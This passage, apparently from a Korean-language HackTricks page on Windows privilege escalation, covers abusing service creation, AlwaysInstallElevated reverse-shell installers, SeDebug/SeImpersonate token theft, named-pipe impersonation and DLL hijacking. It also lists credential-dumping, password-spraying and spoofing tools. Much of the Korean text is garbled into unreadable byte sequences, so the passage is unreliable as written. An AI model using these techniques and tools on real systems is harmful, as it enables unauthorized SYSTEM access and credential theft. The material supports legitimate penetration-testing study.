sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename
Tip
์๋น์ค ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ง๋ค ๋์๋ ์ ํจํ ์๋น์ค์ด๊ฑฐ๋, ๊ทธ๋ ์ง ์์ผ๋ฉด 20์ด ๋ด์ ํ๋ก์ธ์ค๊ฐ ์ข ๋ฃ๋๋ฏ๋ก ํ์ํ ๋์์ ๋น ๋ฅด๊ฒ ์ํํ๋ ๋ฐ์ด๋๋ฆฌ์ธ์ง ํ์ธํ์ธ์.
AlwaysInstallElevated
High Integrity ํ๋ก์ธ์ค์์ AlwaysInstallElevated ๋ ์ง์คํธ๋ฆฌ ํญ๋ชฉ์ ํ์ฑํํ๊ณ .msi ๋ํผ๋ฅผ ์ฌ์ฉํด ๋ฆฌ๋ฒ์ค ์
ธ์ ์ค์นํ ์ ์์ต๋๋ค.
๊ด๋ จ ๋ ์ง์คํธ๋ฆฌ ํค์ .msi ํจํค์ง ์ค์น ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ ์ฌ๊ธฐ.
High + SeImpersonate privilege to System
You can find the code here.
From SeDebug + SeImpersonate to Full Token privileges
ํด๋น ํ ํฐ ๊ถํ์ ๊ฐ์ง๊ณ ์๋ค๋ฉด(๋ณดํต ์ด๋ฏธ High Integrity ํ๋ก์ธ์ค์์ ๋ฐ๊ฒฌ๋ฉ๋๋ค) SeDebug ๊ถํ์ผ๋ก ๊ฑฐ์ ๋ชจ๋ ํ๋ก์ธ์ค(๋ณดํธ๋ ํ๋ก์ธ์ค ์ ์ธ)๋ฅผ ์ด๊ณ , ํด๋น ํ๋ก์ธ์ค์ ํ ํฐ์ ๋ณต์ฌํ ๋ค ๊ทธ ํ ํฐ์ผ๋ก ์์์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค.
์ด ๊ธฐ๋ฒ์ ๋ณดํต ๋ชจ๋ ํ ํฐ ๊ถํ์ ๊ฐ์ง SYSTEM์ผ๋ก ์คํ ์ค์ธ ํ๋ก์ธ์ค๋ฅผ ์ ํํด ์ฌ์ฉํฉ๋๋ค (์, ๋ชจ๋ ํ ํฐ ๊ถํ์ด ์๋ SYSTEM ํ๋ก์ธ์ค๋ ์กด์ฌํฉ๋๋ค).
์ ์๋ ๊ธฐ๋ฒ์ ์คํํ๋ ์ฝ๋ ์์ ๋ ์ฌ๊ธฐ์์ ํ์ธํ ์ ์์ต๋๋ค. ์์ ์ฝ๋ ๋ณด๊ธฐ
Named Pipes
์ด ๊ธฐ๋ฒ์ meterpreter๊ฐ getsystem์ผ๋ก ๊ถํ ์์นํ ๋ ์ฌ์ฉํฉ๋๋ค. ๊ธฐ๋ฒ์ ํ์ดํ๋ฅผ ์์ฑํ ํ ์๋น์ค๋ฅผ ์์ฑ/๋จ์ฉํ์ฌ ๊ทธ ํ์ดํ์ ์ฐ๊ฒ ํ๋ ๊ฒ์ผ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. ๊ทธ๋ฐ ๋ค์ SeImpersonate ๊ถํ์ผ๋ก ํ์ดํ๋ฅผ ์์ฑํ ์๋ฒ๋ ํ์ดํ ํด๋ผ์ด์ธํธ(์๋น์ค)์ ํ ํฐ์ ์ํผ์๋ค์ดํธํ์ฌ SYSTEM ๊ถํ์ ์ป์ ์ ์์ต๋๋ค.
Named Pipes์ ๋ํด ๋ ๋ฐฐ์ฐ๋ ค๋ฉด ์ด๊ฒ์ ์ฝ์ผ์ธ์.
High Integrity์์ Named Pipes๋ฅผ ์ฌ์ฉํด System์ผ๋ก ์์นํ๋ ์์ ๋ ์ฌ๊ธฐ์์ ์ฝ์ ์ ์์ต๋๋ค.
Dll Hijacking
SYSTEM์ผ๋ก ์คํ๋๋ ํ๋ก์ธ์ค์ ์ํด ๋ก๋๋๋ dll์ hijackํ ์ ์๋ค๋ฉด ํด๋น ๊ถํ์ผ๋ก ์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ Dll Hijacking์ ์ด ์ข
๋ฅ์ ๊ถํ ์์น์ ์ ์ฉํ๋ฉฐ, ํนํ High Integrity ํ๋ก์ธ์ค์์ ๋ ์ฝ๊ฒ ๋ฌ์ฑํ ์ ์๋๋ฐ, ์ด๋ DLL์ ๋ก๋ํ๋ ํด๋์ ๋ํ ์ฐ๊ธฐ ๊ถํ์ ๊ฐ์ง๊ธฐ ๋๋ฌธ์
๋๋ค.
์์ธํ ๋ด์ฉ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์. Dll hijacking ๋๋ณด๊ธฐ.
From Administrator or Network Service to System
- https://github.com/sailay1996/RpcSsImpersonator
- https://decoder.cloud/2020/05/04/from-network-service-to-system/
- https://github.com/decoder-it/NetworkServiceExploit
From LOCAL SERVICE or NETWORK SERVICE to full privs
์ฝ๊ธฐ: https://github.com/itm4n/FullPowers
More help
Useful tools
Windows ๋ก์ปฌ ๊ถํ ์์น ๋ฒกํฐ๋ฅผ ์ฐพ๊ธฐ ์ํ ์ต๊ณ ์ ๋๊ตฌ: WinPEAS
PS
PrivescCheck
PowerSploit-Privesc(PowerUP) โ ์๋ชป๋ ๊ตฌ์ฑ ๋ฐ ๋ฏผ๊ฐํ ํ์ผ์ ๊ฒ์ฌํฉ๋๋ค (์ฌ๊ธฐ ํ์ธ). ๊ฐ์ง๋จ.
JAWS โ ์ผ๋ถ ๊ฐ๋ฅํ ์๋ชป๋ ๊ตฌ์ฑ ์ ๊ฒ ๋ฐ ์ ๋ณด ์์ง(์ฌ๊ธฐ ํ์ธ).
privesc โ ์๋ชป๋ ๊ตฌ์ฑ ์ ๊ฒ
SessionGopher โ PuTTY, WinSCP, SuperPuTTY, FileZilla ๋ฐ RDP ์ ์ฅ ์ธ์
์ ๋ณด๋ฅผ ์ถ์ถํฉ๋๋ค. ๋ก์ปฌ์์๋ -Thorough ์ต์
์ฌ์ฉ.
Invoke-WCMDump โ Credential Manager์์ ์๊ฒฉ ์ฆ๋ช
์ถ์ถ. ๊ฐ์ง๋จ.
DomainPasswordSpray โ ์์งํ ๋น๋ฐ๋ฒํธ๋ฅผ ๋๋ฉ์ธ์ ๋ํด ์คํ๋ ์ด ๊ณต๊ฒฉ
Inveigh โ PowerShell ๊ธฐ๋ฐ ADIDNS/LLMNR/mDNS ์คํธํ ๋ฐ ์ค๊ฐ์ ๊ณต๊ฒฉ ๋๊ตฌ.
WindowsEnum โ ๊ธฐ๋ณธ์ ์ธ Windows ๊ถํ ์์น์ฉ ์ด๋ ์คํฌ๋ฆฝํธSherlock ~~~~ โ ์๋ ค์ง ๊ถํ ์์น ์ทจ์ฝ์ ๊ฒ์ (DEPRECATED for Watson)WINspect โ ๋ก์ปฌ ๊ฒ์ฌ (๊ด๋ฆฌ์ ๊ถํ ํ์)
Exe
Watson โ ์๋ ค์ง ๊ถํ ์์น ์ทจ์ฝ์ ๊ฒ์ (VisualStudio๋ก ์ปดํ์ผ ํ์) (precompiled)
SeatBelt โ ํธ์คํธ๋ฅผ ์ด๊ฑฐํด ์๋ชป๋ ๊ตฌ์ฑ ๊ฒ์ (์ ๋ณด ์์ง ๋๊ตฌ์ ๋ ๊ฐ๊น์, ์ปดํ์ผ ํ์) (precompiled)
LaZagne โ ๋ค์ํ ์ํํธ์จ์ด์์ ์๊ฒฉ ์ฆ๋ช
์ ์ถ์ถ (GitHub์ ์ฌ์ ์ปดํ์ผ๋ exe ์์)
SharpUP โ PowerUp์ C# ํฌํธBeroot ~~~~ โ ์๋ชป๋ ๊ตฌ์ฑ ๊ฒ์ฌ (GitHub์ ์คํ ํ์ผ ์ฌ์ ์ปดํ์ผ). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ์๋ํ์ง ์์.Windows-Privesc-Check โ ๊ฐ๋ฅํ ์๋ชป๋ ๊ตฌ์ฑ ์ ๊ฒ (python ๊ธฐ๋ฐ exe). ๊ถ์ฅํ์ง ์์. Win10์์ ์ ์๋ํ์ง ์์.
Bat
winPEASbat โ ์ด ๊ฒ์๊ธ์ ๊ธฐ๋ฐ์ผ๋ก ๋ง๋ ๋๊ตฌ(์ ์ ๋์์ ์ํด accesschk๊ฐ ์์ด๋ ๋์ง๋ง ์ฌ์ฉํ ์ ์์).
Local
Windows-Exploit-Suggester โ systeminfo ์ถ๋ ฅ๊ฐ์ ์ฝ๊ณ ๋์ํ๋ ์ต์คํ๋ก์์ ์ถ์ฒ (๋ก์ปฌ python)
Windows Exploit Suggester Next Generation โ systeminfo ์ถ๋ ฅ๊ฐ์ ์ฝ๊ณ ๋์ํ๋ ์ต์คํ๋ก์์ ์ถ์ฒ (๋ก์ปฌ python)
Meterpreter
multi/recon/local_exploit_suggestor
ํ๋ก์ ํธ๋ ์ฌ๋ฐ๋ฅธ ๋ฒ์ ์ .NET์ผ๋ก ์ปดํ์ผํด์ผ ํฉ๋๋ค (see this). ๋์ ํธ์คํธ์ ์ค์น๋ .NET ๋ฒ์ ์ ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
์ฐธ๊ณ ์๋ฃ
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html
-
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
-
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
-
https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
-
http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html
-
HTB Reaper: Format-string leak + stack BOF โ VirtualAlloc ROP (RCE) and kernel token theft
-
Check Point Research โ Chasing the Silver Fox: Cat & Mouse in Kernel Shadows
-
Unit 42 โ Privileged File System Vulnerability Present in a SCADA System
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


